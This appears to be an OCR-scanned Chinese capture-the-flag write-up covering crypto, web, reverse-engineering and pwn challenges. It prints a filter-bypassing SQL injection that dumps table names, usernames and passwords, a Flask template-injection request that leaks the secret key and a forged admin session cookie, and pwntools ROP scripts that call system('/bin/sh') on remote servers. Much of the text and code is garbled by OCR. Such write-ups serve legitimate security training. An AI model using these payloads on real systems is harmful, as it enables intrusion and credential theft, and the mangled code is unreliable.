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from Crypto.Util.number import

import random

n 43241
random.randint(2, n-1) 1

(m, flag, n)
(m)
(c)
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Discrete logarithm calculator

Alpertron » Programs » Discrete logarithm calculator

Base |7

Power 35245

Modulus |43241

| Discrete logarithm | Stop | Help |

Digits per group |6 |

Find exp such that 75%° = 35246 (mod 43241)

exp = 3373 + 3930k
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https://www.alpertron.com.ar/DILOG.HTM

il =2 uunionnion sselectelect 1,2,group_concat(table name) from iinformationnformation

schema.tables where table_schema=database()

il 1=2 uunionnion sselectelect 1,2,group_concat(column_name) from iinformationnformation
schema.columns where table name=0x7573657273

uunionnion sselectelect 1,group_concat(username),group_concat(password) from

Login as admin
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import flask

from flag import flag

from key import key

app = flask.Flask(__name_ )

app.secret_key key

@app.route(
def index():
flask.session][

return

@app.route(
def admin():
if flask.session|
return (flag)
else:

return

@app.errorhandler(404)

def page not_found(error):
referrer = flask.request.headers.get(
if referrer is None:

referrer

if valid_url(referrer):

referrer

html
(referrer)

return flask.render_template_string(html), 404

valid _url(url):

host flask.request.host_url

if url.startswith(host):
return False

if (url) (host) 16:
return False

return True

if _ name_
app.run(
host
port 5
debug=False

1.admini& £ 1) & B R 7 /adminH F session . & Eituser==adminA #t £ Flflag
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W2 Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help
Dashboard (Targel ’/Proxy (Intruder (Repeater {Sequencer (Decoder ’/Comparer {Exlender TProject options. (User options.

1.
send || Cancel |:H:| Follow redirection Target: http://47.110.130.169:12222 /@

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML ’/Render ‘

GET ‘464 HTTP/1.1 =l HTTP/1.© 464 NOT FOUND |
Host: 47.110.130.169:12222 Content-Type: text/html; charset=utf-8

User-Agent: Mozilla/5.0 (Windows NT 16.6; Win64; x64; rv:78.8) Gecko/20160161 Content-Length: 1413

Firefox/78.0 Server: Werkzeug/1.6.1 Python/3.8.2

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Date: Sun, 19 Jul 2620 ©9:33:52 GMT

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;g=0.3,en;q=0.2

Accept-Encoding: gzip, deflate <html><head><meta http-equiv="Refresh"

Referer: http://47.lla.136.169:12222/?{{config}}| — content="3;URL=http://47.116.130.169:12222/?&1t;Config {&#¥39;ENV&#39;:
Connection: close &#39; production&#39;, &#39;DEBUGR#39;: False, &#39;TESTING&#39;: False,
Cookie: session=eyJlc2VyIjoiZ3V1c3QifQ.XxQTEw.ulLreNABK5kHoh6XBdMqga2 1WtFiw 8#39; PROPAGATE_EXCEPTIONS&#39;: None,

Upgrade-Insecure-Requests: 1 &#39; PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;:
Cache-Control: max-age=© &#39;wustaismatrix23333333333333333333333333338439;,

8#39; PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31),
2#39;USE_X_SENDFILE@#39;: False, 8&#39;SERVER_NAME&#39;: None,

&#39; APPLICATION_ROOT&439;: &#39;/8#39;, &#39;SESSION_COOKIE_NAME&#39; :
8#39;session8#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False,

&#39; SESSTON_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39; :
True, &#39;SESSION_COOKIE_SECURE&#39;: False,

8439; SESSION_COOKIE_SAMESITE&#39;: None,

84#39; SESSION_REFRESH_EACH_REQUEST&#39;: True,
&4#39;MAX_CONTENT_LENGTH&#39; : None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;:
datetime.timedelta(seconds=43200), &#39;TRAP_BAD_REQUEST_ERRORS&#39;:
None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False,

&4#39; EXPLAIN_TEMPLATE_LOADING&#39;: False,

&4#39; PREFERRED_URL_SCHEME&#39; : &#39;http&#39;, &#39;ISON_AS_ASCII&H#39;:
True, &#39;IJSON_SORT_KEYS&#39;: True,

&4#39; JSONIFY_PRETTYPRINT_REGULAR&#39;: False,

8#39; JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;,

L &4#39; TEMPLATES_AUTO_RELOAD&#39; : None, &#39;MAX_COOKIE_SIZE&#39;:

= | |aea31Rat - "sctit105404 Mot Foundc /titlesc/headschndusPase not found E

@‘ < H + H > ||Type a search term 0 matches @‘ < ‘ + H > ||Type a search term ‘ 0 matches
Done 1,575 bytes | 38 millis

RIIRBUESA, T8I Hflask-session-cookie-manager
f F T B4y 4 Xt sessioni#t AT f#RS, fEguestififadminZ & F #1745, 4 R#ifsession

7 # python flask session_cookie_manager3.py decode -s wustaismatrlx2333333333333333333333333
333 -c eyJ1c2VyIjoiZ3V1c3QifQ.XxQTEw.uLreNABK5kHoh6XBdMga21lWtFiw
{'user': 'guest'}

5 # python flask session_cookie_manager3.py encode -s wustaismatrlx2333333333333333333333333
333 -t "{'user': 'guest'}"
eyJ1c2VyIjoiZ3V1c3QifQ.EfWoHA. nUtn3f95L0o5wsAcvGSSEzZY EvoE

V5 d/adminB %, FburpsuitedN £, IEsessionsf s KBl AT
RE
=B ANEAECE


https://github.com/noraj/flask-session-cookie-manager

fENidatZF5RICom EE hARRS, EEEHAWT:

printf("plz input your
__1s0c99_scanf("%s"
if ( strlen(s) == 2

{

for (1 =9; 1
num2[num[i]]
for (J =065 3

{

if ( num2[j]

{

puts("wrong flag!");
return 8;

}
}

result = 8;'

else
{ .
puts("wrong fl:
result =
return result;
https://blog.csdn.net/
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ttinclude

using namespace std;

int main()

f
i

char n[30]={9,0xa,0xf,0x17,7,0x18,0xc,6,1,0x10,3,0x11,0xe,0x1c,0xb,0x12,0x1b,0x16,4,0xd,0x13,0x14,0x15,2,0x19,5
,0x1a,8};

char n2[30]={0x7d,0x5e,0x6cC,0x30,0x7e,0x68,0x72,0x7c,0x29,0x6f,0x66,0x3e,0x3c,0x52,0x6b,0x6e,0x62,0x67,0x77,0x2|
4,0x7c,0x74,0%x73,0%x70,0%x76,0x46,0x7f,0x44,0x6e};

char s[30];

for (int i 0; i 28; i)

s[i]=n2[n[i]]"n[i];

cout<<s;

return 0;
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PWN

pwntools

3 $ nc

Why don't you download pwntools yet?

The flag is hidden in it. You can get the flag by downloading pwntools and under
standing its usage

nc Ja iflagii7E 7 B, TFpwntoolsBI ] & Elflag, 48] T pwntoolsiIrecvi] LA 7 H 4 \rfa i 1) ) 1

3 5 python

'Python 2.7.18rcl (default, Apr 7 2020, 12:85:55)

[GCC 9.3.8] on linux2

Type "help", "copyright", "credits" or "license" for more information.

from pwn import *

r = remote( )

Opening connection to

Opening connection to

Opening connection to

> r.recv()

Why don't you download pwntools yet?\nZmxhZ3tZMHVfSnVzdFOEMHduMTABZF9Qd256MDAXC
190MHc /fQ==\rThe flag is hidden in it. You can get the flag by downloading pwnto
ols and understanding its usage\n"
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const ¢

char buf; // [rsp+1lh] [rbp-Fh]
__inte4 v5; // [rsp+8h] [rbp-8h]

vE = _ readfsqword(©6x28u);
init(*(_QWORD *)&
puts("Sir,tell me your comm
read(©, &buf, 7ull);
system(&buf);

return 8;

ncZ Ja#i A\ /bin/sh)5Is )5 cat flag.txt

Command 2

const char

char buf; // [rsp+6h] [rbp-Ah]
Uﬂiigﬂ&d __iﬂtEi v5; I/ [p5p+8h] [Pbp-Sh]

vE = _ readfsqword(©6x28u);
init(*(_QWORD *)& , argv, envp);
puts("Sir,tell

system(&buf);
return 8;

https://blog.csdn.net

PR T KBEAN2, TS0 Fibinish, BTLLXRHMASORIT, Hem L
ROP

ssize_t func()

{

char buf; // [esp+@h] [ebp-38h]

return read(e, &buf, ©xl1eeu);
}

IDAH shift+F 12



read
stdout
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X bin/shif #hik

.data:98049

M & E system i it

Function name

; int system(const char *command)
_system proc near

= d Il"'ll 'c l. d p t l.

.plt:e8e483D86 j ds:off_8e48A8C
_system

0x4-(-0x38)=60

payloadl F :



from pwn import

sh=remote( ,10003)
binsh_addr = 0x08049a20
0x080483D0
flat([ 60, system plt, 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

XERMNTBTEERREOAARMSE, WREEFEM system K%, RATARAKERESE — SRR E L, X B Lbbbb’
TR BEtat, HESHENMNSHAR.

S python rop.py
Opening connection to 121.41.113.245 on port 18083: Done
Switching to interactive mode

/N < [ __
P AL _ T 1IN
I_1 T_IN_o_11_] I_] T_IT_\_\

sh: 1: clear: not found
Tell me what do you need:

cat flag.txt S
flag{1487e255-222f-4cf1-ac77-2918992 5678 -"®

miss something

int __cdecl main(int argc, const char *# v, const char
;
1

int v4; // [esp+@h] [ebp-Ch]
int *v5; // [esp+4h] [ebp-8h]

v5 = &argc;
init();

puts("Tell me what you want , and you
__is0c99_scanf("%d", &v4);
__is0c99_scanf("%d", v4);
puts("/bin/sh");

return 8;

https://blog.csdn.netweixin_.

scanfEE MBS, F—REARRE T EW SR EirREuhh, BXBEMputsii%, 5 ZIREARRES R S shak, B
systempfi %, Eibputs(/bin/sh’ )38 Asystem('/bin/sh’), fEputsfIGOTHE FsystemfIPLTE .



from pwn import *

elf=ELF('./miss")

' /home fhandy /\xe6\xal\xBc\xe9\x9d\xa2/pwn/miss'
Arch: 1386-32-little

RELRO:

Stack:

NX:

PIE:

RWX:

p=elf.got[ 'puts']

S nc 121.41.113.245 160802
I I < |_ __
FIN_ T _ 1T NN
I T_IN__11_1 1_] 1_11\_\

/_
\

sh: 1: clear: not found

Tell me what you want , and you may get it:
134519328

134513648

flag. txt

lib

1ib32

1ib64

miss_some

cat flag.txt . R
flag{f71c27ea- 11H4BPE. GEUOGHYELER 21
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